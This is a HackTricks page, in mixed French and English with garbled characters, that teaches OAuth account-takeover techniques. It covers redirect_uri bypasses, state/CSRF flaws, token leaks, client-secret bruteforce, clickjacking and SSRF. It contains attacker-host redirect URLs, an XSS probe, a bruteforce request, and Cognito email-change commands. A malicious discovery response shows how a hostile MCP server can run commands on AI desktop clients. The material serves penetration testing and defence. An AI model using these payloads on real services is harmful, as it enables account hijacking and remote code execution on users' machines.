OAuth to Account takeover
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
OAuth offers various versions, with foundational insights accessible at OAuth 2.0 documentation. This discussion primarily centers on the widely used OAuth 2.0 authorization code grant type, providing an cadre dâautorisation qui permet Ă une application dâaccĂ©der ou dâeffectuer des actions sur le compte dâun utilisateur dans une autre application (the authorization server).
Considérons un site hypothétique https://example.com, conçu pour afficher tous vos posts sur les réseaux sociaux, y compris les posts privés. Pour ce faire, OAuth 2.0 est utilisé. https://example.com demandera votre permission pour accéder à vos posts sur les réseaux sociaux. Par conséquent, un écran de consentement apparaßtra sur https://socialmedia.com, décrivant les permissions demandées et le développeur effectuant la demande. AprÚs votre autorisation, https://example.com obtient la capacité de consulter vos posts en votre nom.
Il est essentiel de comprendre les composants suivants dans le framework OAuth 2.0 :
- resource owner: Vous, en tant que user/entity, autorisez lâaccĂšs Ă votre ressource, comme les posts de votre compte sur les rĂ©seaux sociaux.
- resource server: Le serveur qui gĂšre les requĂȘtes authentifiĂ©es aprĂšs que lâapplication a obtenu un
access tokenau nom duresource owner, par exemple https://socialmedia.com. - client application: Lâapplication qui demande lâautorisation du
resource owner, telle que https://example.com. - authorization server: Le serveur qui délivre les
access tokensĂ laclient applicationaprĂšs lâauthentification rĂ©ussie duresource owneret lâobtention de lâautorisation, par exemple https://socialmedia.com. - client_id: Un identifiant public et unique pour lâapplication.
- client_secret: Une clĂ© confidentielle, connue uniquement de lâapplication et de lâauthorization server, utilisĂ©e pour gĂ©nĂ©rer des
access_tokens. - response_type: Une valeur spécifiant le type de token demandé, comme
code. - scope: Le niveau dâaccĂšs que la
client applicationdemande auresource owner. - redirect_uri: LâURL vers laquelle lâutilisateur est redirigĂ© aprĂšs lâautorisation. Cela doit gĂ©nĂ©ralement correspondre Ă lâURL de redirection prĂ©-enregistrĂ©e.
- state: Un paramĂštre pour conserver des donnĂ©es pendant la redirection de lâutilisateur vers et depuis lâauthorization server. Son unicitĂ© est critique pour servir de mĂ©canisme de protection CSRF.
- grant_type: Un paramĂštre indiquant le type de grant et le type de token Ă retourner.
- code: Le code dâautorisation provenant de lâauthorization server, utilisĂ© conjointement avec
client_idetclient_secretpar la client application pour obtenir unaccess_token. - access_token: Le token que la client application utilise pour les requĂȘtes API au nom du
resource owner. - refresh_token: Permet Ă lâapplication dâobtenir un nouveau
access_tokensans redemander Ă lâutilisateur.
Flux
Le flux OAuth réel se déroule comme suit :
- Vous naviguez vers https://example.com et sélectionnez le bouton « Intégrer aux réseaux sociaux ».
- Le site envoie alors une requĂȘte Ă https://socialmedia.com demandant votre autorisation pour permettre Ă lâapplication de https://example.com dâaccĂ©der Ă vos posts. La requĂȘte est structurĂ©e comme :
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- Une page de consentement vous est alors présentée.
- AprÚs votre approbation, Social Media envoie une réponse au
redirect_uricontenant les paramĂštrescodeetstate:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com utilise ce
code, avec sonclient_idet sonclient_secret, pour effectuer une requĂȘte cĂŽtĂ© serveur afin dâobtenir unaccess_tokenen votre nom, permettant dâaccĂ©der aux permissions auxquelles vous avez consenti :
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- Enfin, le processus se conclut lorsque https://example.com utilise votre
access_tokenpour effectuer un appel API vers Social Media afin dâaccĂ©der
Vulnérabilités
Open redirect_uri
Per RFC 6749 §3.1.2, le serveur dâautorisation doit rediriger le navigateur uniquement vers des pre-registered, exact redirect URIs. Toute faiblesse ici permet Ă un attaquant dâenvoyer une victime via une URL dâautorisation malveillante afin que lâIdP livre le code (et le state) de la victime directement vers un endpoint contrĂŽlĂ© par lâattaquant, qui peut alors lâĂ©changer et rĂ©colter des tokens.
Flux dâattaque typique :
- Créer
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbacket lâenvoyer Ă la victime. - La victime sâauthentifie et approuve les scopes.
- LâIdP redirige vers
attacker.tld/callback?code=<victim-code>&state=...oĂč lâattaquant enregistre la requĂȘte et Ă©change immĂ©diatement le code.
Bugs de validation courants Ă tester :
- Aucune validation â toute URL absolue est acceptĂ©e, entraĂźnant le vol instantanĂ© du code.
- VĂ©rifications faibles par sous-chaĂźne/regex sur lâhĂŽte â contournement possible avec des lookalikes tels que
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, oumatch.com@evil.com. - IDN homograph mismatches â la validation se fait sur la forme punycode (
xn--), mais le navigateur redirige vers le domaine Unicode contrĂŽlĂ© par lâattaquant. - Chemins arbitraires sur un hĂŽte autorisĂ© â en pointant
redirect_urivers/openredirect?next=https://attacker.tldou tout endpoint XSS/contenu-utilisateur, cela leaks le code soit via des redirections en chaĂźne, les Referer headers, ou du JavaScript injectĂ©. - Contraintes de rĂ©pertoire sans normalisation â des motifs comme
/oauth/*peuvent ĂȘtre contournĂ©s avec/oauth/../anything. - Wildcard subdomains â accepter
*.example.comsignifie que tout takeover (dangling DNS, S3 bucket, etc.) fournit immĂ©diatement un callback valide. - Callbacks non-HTTPS â laisser passer des URI
http://donne aux attaquants rĂ©seau (WiâFi, proxy dâentreprise) lâoccasion dâattraper le code en transit.
Passez Ă©galement en revue les paramĂštres auxiliaires de type redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) et le document de dĂ©couverte OpenID (/.well-known/openid-configuration) pour dâautres endpoints susceptibles dâhĂ©riter des mĂȘmes bugs de validation.
Fuite de tokens de redirection sur des domaines allowlistĂ©s avec des sous-chemins contrĂŽlĂ©s par lâattaquant
Verrouiller le redirect_uri sur des « domaines owned/first-party » nâaide pas si un domaine allowlistĂ© expose des chemins ou contextes dâexĂ©cution contrĂŽlĂ©s par lâattaquant (plateformes dâapps legacy, namespaces utilisateurs, uploads CMS, etc.). Si le flux OAuth/federated login returns tokens in the URL (query ou hash), un attaquant peut :
- Démarrer un flux légitime pour mint un pré-token (par ex., un
etokendans un flux Accounts Center/FXAuth en plusieurs Ă©tapes). - Envoyer Ă la victime une URL dâautorisation qui met le domaine allowlistĂ© comme
redirect_uri/base_urimais pointe lenext/chemin vers un namespace contrĂŽlĂ© par lâattaquant (par ex.,https://apps.facebook.com/<attacker_app>). - AprĂšs que la victime approuve, lâIdP redirige vers le chemin contrĂŽlĂ© par lâattaquant avec des valeurs sensibles dans lâURL (
token,blob, codes, etc.). - Le JavaScript sur cette page lit
window.locationet exfiltre les valeurs malgrĂ© que le domaine soit « trusted ». - Rejouer les valeurs capturĂ©es contre des endpoints privilĂ©giĂ©s en aval qui nâattendent que les tokens fournis via la redirection.
Exemples provenant du flux FXAuth :
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS dans lâimplĂ©mentation du redirect
Comme mentionnĂ© dans ce rapport de bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html il est possible que la redirect URL soit reflĂ©tĂ©e dans la rĂ©ponse du serveur aprĂšs lâauthentification de lâutilisateur, Ă©tant vulnĂ©rable Ă XSS. Payload possible Ă tester:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
CSRF - Mauvaise gestion du paramĂštre state
Le paramĂštre state est le CSRF token du Authorization Code flow : le client doit gĂ©nĂ©rer une valeur cryptographiquement alĂ©atoire par instance de navigateur, la persister quelque part que seul ce navigateur peut lire (cookie, local storage, etc.), lâenvoyer dans la requĂȘte dâautorisation, et rejeter toute rĂ©ponse qui ne renvoie pas la mĂȘme valeur. Chaque fois que la valeur est statique, prĂ©visible, optionnelle ou non liĂ©e Ă la session de lâutilisateur, lâattaquant peut terminer son propre flux OAuth, capturer la requĂȘte finale contenant ?code= (sans lâenvoyer), puis contraindre plus tard un navigateur victime Ă rejouer cette requĂȘte pour que le compte de la victime soit liĂ© au profil de lâattaquant chez lâidentity provider.
Le schĂ©ma de replay est toujours le mĂȘme :
- Lâattaquant sâauthentifie auprĂšs de lâIdP avec son compte et intercepte le dernier redirect contenant
code(et Ă©ventuellementstate). - Il abandonne cette requĂȘte, conserve lâURL, et abuse ensuite de nâimporte quel primitive CSRF (lien, iframe, formulaire auto-soumis) pour forcer le navigateur victime Ă la charger.
- Si le client nâapplique pas
state, lâapplication consomme le rĂ©sultat dâautorisation de lâattaquant et connecte lâattaquant au compte de lâapplication de la victime.
Checklist pratique pour la gestion de state pendant les tests :
- Missing
stateentirely â si le paramĂštre nâapparaĂźt jamais, tout le login est vulnĂ©rable Ă CSRF. statenot required â supprimez-le de la requĂȘte initiale ; si lâIdP dĂ©livre quand mĂȘme des codes que le client accepte, la dĂ©fense est opt-in.- Returned
statenot validated â altĂ©rez la valeur dans la rĂ©ponse (Burp, MITM proxy). Accepter des valeurs non concordantes signifie que le token stockĂ© nâest jamais comparĂ©. - Predictable or purely data-driven
stateâ beaucoup dâapps placent des chemins de redirection ou des blobs JSON dansstatesans y ajouter dâentropie, permettant aux attaquants de deviner des valeurs valides et de rejouer des flows. Toujours prĂ©fixer/suffixer une forte entropie avant dâencoder les donnĂ©es. statefixation â si lâapp permet aux utilisateurs de fournir la valeurstate(par ex. via des URLs dâautorisation craftĂ©es) et la rĂ©utilise tout au long du flow, un attaquant peut verrouiller une valeur connue et la rĂ©utiliser sur plusieurs victimes.
PKCE peut complĂ©ter state (surtout pour les public clients) en liant lâautorization code Ă un code verifier, mais les clients web doivent malgrĂ© tout suivre state pour prĂ©venir les bugs CSRF/liens de compte entre utilisateurs.
Pre Account Takeover
- Sans vĂ©rification de lâadresse e-mail lors de la crĂ©ation du compte : Les attaquants peuvent crĂ©er de maniĂšre prĂ©ventive un compte en utilisant lâadresse e-mail de la victime. Si la victime utilise plus tard un service tiers pour se connecter, lâapplication pourrait involontairement lier ce compte tiers au compte prĂ©-créé de lâattaquant, conduisant Ă un accĂšs non autorisĂ©.
- Exploitation dâune vĂ©rification dâadresse e-mail laxiste sur OAuth : Les attaquants peuvent abuser de services OAuth qui ne vĂ©rifient pas les e-mails en sâinscrivant chez eux puis en changeant lâe-mail du compte pour celui de la victime. Cette mĂ©thode prĂ©sente un risque dâaccĂšs non autorisĂ© similaire au premier scĂ©nario, mais via un vecteur diffĂ©rent.
Disclosure of Secrets
Le client_id est intentionnellement public, mais le client_secret ne doit jamais ĂȘtre rĂ©cupĂ©rable par les utilisateurs finaux. Les dĂ©ploiements Authorization Code qui embarquent le secret dans des APK mobiles, des clients desktop ou des single-page apps donnent en pratique cette credential Ă quiconque peut tĂ©lĂ©charger le package. Inspectez toujours les public clients en :
- DĂ©compressant lâAPK/IPA, lâinstallateur desktop ou lâapp Electron et en recherchant (
grep)client_secret, des blobs Base64 décodables en JSON, ou des endpoints OAuth codés en dur. - Revue des fichiers de config embarqués (plist, JSON, XML) ou des chaßnes décompilées à la recherche de credentials client.
Une fois que lâattaquant extrait le secret, il lui suffit de voler nâimporte quel code dâautorisation dâune victime (via un redirect_uri faible, des logs, etc.) pour frapper /token indĂ©pendamment et gĂ©nĂ©rer des access/refresh tokens sans impliquer lâapp lĂ©gitime. ConsidĂ©rez les public/native clients comme incapables de garder des secrets â ils devraient plutĂŽt sâappuyer sur PKCE (RFC 7636) pour prouver la possession dâun code verifier par instance plutĂŽt quâun secret statique. Pendant les tests, confirmez si PKCE est obligatoire et si le backend rejette effectivement les Ă©changes de tokens qui omettent soit le client_secret ou un code_verifier valide.
Client Secret Bruteforce
Vous pouvez essayer de bruteforcer le client_secret dâun service provider avec lâidentity provider afin dâessayer de voler des comptes.
La requĂȘte pour BF peut ressembler Ă :
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:
- Classic Referer leak: after the OAuth redirect, any navigation that keeps
?code=&state=in the URL will push them into the Referer header sent to CDNs/analytics/ads. - Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to
postMessageevents and then send the currentlocation.href/referrerto backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDKâs API request history/logs and recover the victimâs OAuth artifacts embedded in those requests.
Access Token Stored in Browser History
The core guarantee of the Authorization Code grant is that access tokens never reach the resource ownerâs browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:
- Tokens in URLs â if
access_tokenappears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties. - Tokens transiting untrusted middleboxes â returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
- Tokens stored in JavaScript state â React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
- Tokens persisted in Web Storage â
localStorage/sessionStorageretain tokens long after logout on shared devices and are script-accessible.
Any of these findings usually upgrades otherwise âlowâ bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.
Everlasting Authorization Code
Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:
- Test the lifetime â RFC 6749 recommends minutes, not hours. Try redeeming the code after 5â10 minutes; if it still works, the exposure window for any leaked code is excessive.
- Test sequential reuse â send the same
codetwice. If the second request yields another token, attackers can clone sessions indefinitely. - Test concurrent redemption/race conditions â fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
- Observe replay handling â a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attackerâs first token active.
Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.
Authorization/Refresh Token not bound to client
If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:
- Capturing a
codefor app A and sending it to app Bâs token endpoint; if you still receive a token, audience binding is broken. - Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary
state/app_idwhile only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens. - Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log
location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.
Any endpoint that exchanges code â token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
Pour plus dâinfos dĂ©taillĂ©es sur la façon dâabuser dâAWS Cognito, consultez AWS Cognito - Unauthenticated Enum Access.
Abusing other Apps tokens
Comme mentioned in this writeup, les flux OAuth qui sâattendent Ă recevoir le token (et non un code) pourraient ĂȘtre vulnĂ©rables sâils ne vĂ©rifient pas que le token appartient Ă lâapplication.
Ceci sâexplique parce quâun attacker pourrait crĂ©er une application supporting OAuth and login with Facebook (par exemple) dans sa propre application. Ensuite, une fois quâune victim se connecte via Facebook dans lâattackers application, lâattaquant pourrait obtenir le OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.
Caution
Donc, si lâattacker parvient Ă faire en sorte que lâutilisateur accĂšde Ă sa propre OAuth application, il pourra prendre le contrĂŽle du victims account dans des applications qui attendent un token et ne vĂ©rifient pas si le token a Ă©tĂ© accordĂ© Ă leur app ID.
Two links & cookie
Selon this writeup, il Ă©tait possible dâamener une victim Ă ouvrir une page avec un returnUrl pointant vers lâattackers host. Cette info serait stored in a cookie (RU) et, lors dâune later step, le prompt demandera au user sâil veut donner lâaccĂšs Ă cet attackers host.
Pour bypasser ce prompt, il Ă©tait possible dâouvrir un onglet pour initier le Oauth flow qui dĂ©finirait ce cookie RU en utilisant le returnUrl, fermer lâonglet avant que le prompt ne sâaffiche, puis ouvrir un nouvel onglet sans cette valeur. Ensuite, le prompt wonât inform about the attackers host, mais le cookie serait rĂ©glĂ© sur celui-ci, donc le token will be sent to the attackers host lors de la redirection.
Prompt Interaction Bypass
Comme expliquĂ© dans this video, certaines implĂ©mentations OAuth permettent dâindiquer le paramĂštre GET prompt Ă None (&prompt=none) pour prevent users being asked to confirm lâaccĂšs donnĂ© dans un prompt sur le web si ils sont dĂ©jĂ connectĂ©s Ă la plateforme.
response_mode
Comme explained in this video, il peut ĂȘtre possible dâindiquer le paramĂštre response_mode pour indiquer oĂč vous voulez que le code soit fourni dans lâURL finale :
response_mode=query-> Le code est fourni Ă lâintĂ©rieur dâun paramĂštre GET :?code=2397rf3gu93fresponse_mode=fragment-> Le code est fourni Ă lâintĂ©rieur du fragment de lâURL#code=2397rf3gu93fresponse_mode=form_post-> Le code est fourni Ă lâintĂ©rieur dâun formulaire POST avec un input appelĂ©codeet la valeurresponse_mode=web_message-> Le code est envoyĂ© dans un post message :window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
Les dialogues de consentement/connexion OAuth sont des cibles idĂ©ales pour le clickjacking : sâils peuvent ĂȘtre encadrĂ©s, un attacker peut superposer des graphismes personnalisĂ©s, masquer les vrais boutons et tromper les users pour quâils approuvent des scopes dangereux ou lient des comptes. Construisez des PoCs qui :
- Load the IdP authorization URL inside an
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
- Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.
Lors des tests, vĂ©rifiez que les pages IdP Ă©mettent soit X-Frame-Options: DENY/SAMEORIGIN soit une Content-Security-Policy: frame-ancestors 'none' restrictive. Si aucune nâest prĂ©sente, dĂ©montrez le risque avec des outils comme NCC Groupâs clickjacking PoC generator et enregistrez Ă quel point une victim autorise facilement lâapp de lâattacker. Pour dâautres idĂ©es de payload, voir Clickjacking.
OAuth ROPC flow - 2 FA bypass
Selon this blog post, il sâagit dâun OAuth flow qui permet de se connecter via username et password. Si, pendant ce flux simple, un token avec accĂšs Ă toutes les actions que lâuser peut effectuer est renvoyĂ©, il est possible de bypasser le 2FA en utilisant ce token.
ATO on web page redirecting based on open redirect to referrer
Ce blogpost explique comment il Ă©tait possible dâabuser dâun open redirect basĂ© sur la valeur du referrer pour abuser OAuth en vue dâun ATO. Lâattaque Ă©tait :
- Victim access the attackers web page
- The victim opens the malicious link and an opener starts the Google OAuth flow with
response_type=id_token,code&prompt=noneas additional parameters using as referrer the attackers website. - In the opener, after the provider authorizes the victim, it sends them back to the value of the
redirect_uriparameter (victim web) with 30X code which still keeps the attackers website in the referer. - The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the
respose_typewasid_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.
SSRFs parameters
Check this research Pour plus de détails sur cette technique.
Dynamic Client Registration in OAuth sert de vecteur moins Ă©vident mais critique pour des vulnĂ©rabilitĂ©s de sĂ©curitĂ©, spĂ©cifiquement pour des attaques Server-Side Request Forgery (SSRF). Cet endpoint permet aux serveurs OAuth de recevoir des dĂ©tails sur des client applications, y compris des URLs sensibles qui pourraient ĂȘtre exploitĂ©es.
Key Points:
- Dynamic Client Registration est souvent mappé sur
/registeret accepte des dĂ©tails commeclient_name,client_secret,redirect_uris, et des URLs pour les logos ou JSON Web Key Sets (JWKs) via des requĂȘtes POST. - Cette fonctionnalitĂ© respecte les spĂ©cifications dĂ©crites dans RFC7591 et OpenID Connect Registration 1.0, qui incluent des paramĂštres potentiellement vulnĂ©rables au SSRF.
- Le processus dâenregistrement peut involontairement exposer les serveurs au SSRF de plusieurs façons :
logo_uri: Une URL pour le logo de la client application qui pourrait ĂȘtre rĂ©cupĂ©rĂ©e par le serveur, dĂ©clenchant un SSRF ou conduisant Ă un XSS si lâURL est mal gĂ©rĂ©e.jwks_uri: Une URL vers le document JWK du client, qui si elle est manipulĂ©e malicieusement, peut pousser le serveur Ă effectuer des requĂȘtes sortantes vers un serveur contrĂŽlĂ© par lâattaquant.sector_identifier_uri: RĂ©fĂ©rence un tableau JSON deredirect_uris, que le serveur pourrait rĂ©cupĂ©rer, crĂ©ant une opportunitĂ© SSRF.request_uris: Liste des request URIs autorisĂ©es pour le client, qui peuvent ĂȘtre exploitĂ©es si le serveur rĂ©cupĂšre ces URIs au dĂ©marrage du processus dâautorisation.
Exploitation Strategy:
- Le SSRF peut ĂȘtre dĂ©clenchĂ© en enregistrant un nouveau client avec des URLs malicieuses dans des paramĂštres comme
logo_uri,jwks_uriousector_identifier_uri. - Bien que lâexploitation directe via
request_urispuisse ĂȘtre attĂ©nuĂ©e par des contrĂŽles de whitelist, fournir unrequest_uriprĂ©-enregistrĂ© et contrĂŽlĂ© par lâattaquant peut faciliter le SSRF pendant la phase dâautorisation.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
La recherche sur CVE-2025-6514 (impactant des clients mcp-remote tels que Claude Desktop, Cursor ou Windsurf) montre comment dynamic OAuth discovery devient une primitive RCE chaque fois que le client transmet les metadata IdP directement au systĂšme dâexploitation. Le serveur MCP distant renvoie un authorization_endpoint contrĂŽlĂ© par lâattaquant lors de lâĂ©change de discovery (/.well-known/openid-configuration ou tout RPC de metadata). mcp-remote â€0.1.15 appelait alors le gestionnaire dâURL du systĂšme (start, open, xdg-open, etc.) avec nâimporte quelle chaĂźne reçue, de sorte que tout scheme/chemin supportĂ© par lâOS sâexĂ©cutait localement.
Attack workflow
- Point the desktop agent to a hostile MCP/OAuth server (
npx mcp-remote https://evil). The agent receives401plus metadata. - The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- Le client lance le gestionnaire OS pour lâURI fourni. Windows accepte des payloads comme
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux acceptentfile:///Applications/Calculator.app/...ou mĂȘme des schemes personnalisĂ©s tels quecmd://bash -lc '<payload>'sâils sont enregistrĂ©s. - Parce que cela se produit avant toute interaction utilisateur, le simple fait de configurer le client pour quâil parle au serveur de lâattaquant entraĂźne lâexĂ©cution de code.
Comment tester
- Ciblez tout desktop/agent compatible OAuth qui effectue la discovery via HTTP(S) et ouvre localement les endpoints retournés (Electron apps, CLI helpers, thick clients).
- Interceptez ou hébergez la réponse de discovery et remplacez
authorization_endpoint,device_authorization_endpoint, ou des champs similaires parfile://,cmd://, des chemins UNC, ou dâautres schemes dangereux. - VĂ©rifiez si le client valide le scheme/host. Lâabsence de validation entraĂźne une exĂ©cution immĂ©diate dans le contexte de lâutilisateur et prouve la vulnĂ©rabilitĂ©.
- RĂ©pĂ©tez avec diffĂ©rents schemes pour cartographier lâensemble de la surface dâattaque (p.ex.,
ms-excel:,data:text/html,, custom protocol handlers) et démontrer la portée cross-platform.
OAuth providers Race Conditions
If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.
Mutable Claims Attack
In OAuth, the sub field uniquely identifies a user, but its format varies by Authorization Server. To standardize user identification, some clients use emails or user handles. However, this is risky because:
- Some Authorization Servers do not ensure that these properties (like email) remain immutable.
- In certain implementationsâsuch as âLogin with Microsoftââthe client relies on the email field, which is user-controlled by the user in Entra ID and not verified.
- An attacker can exploit this by creating their own Azure AD organization (e.g., doyensectestorg) and using it to perform a Microsoft login.
- Even though the Object ID (stored in sub) is immutable and secure, the reliance on a mutable email field can enable an account takeover (for example, hijacking an account like victim@gmail.com).
Client Confusion Attack
In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Googleâs OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attackerâs site. If these users also have accounts on another vulnerable website that does not validate the tokenâs Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.
Scope Upgrade Attack
The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the tokenâs details.
Redirect Scheme Hijacking
In mobile OAuth implementations, apps use custom URI schemes to receive redirects with Authorization Codes. However, because multiple apps can register the same scheme on a device, the assumption that only the legitimate client controls the redirect URI is violated. On Android, for instance, an Intent URI like com.example.app:// is matched based on the scheme and optional filters defined in an appâs intent-filter. Since Androidâs intent resolution can be broadâespecially if only the scheme is specifiedâan attacker can register a malicious app with a carefully crafted intent filter to hijack the authorization code. This can enable an account takeover either through user interaction (when multiple apps are eligible to handle the intent) or via bypass techniques that exploit overly specific filters, as detailed by Ostorlabâs assessment flowchart.
Références
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


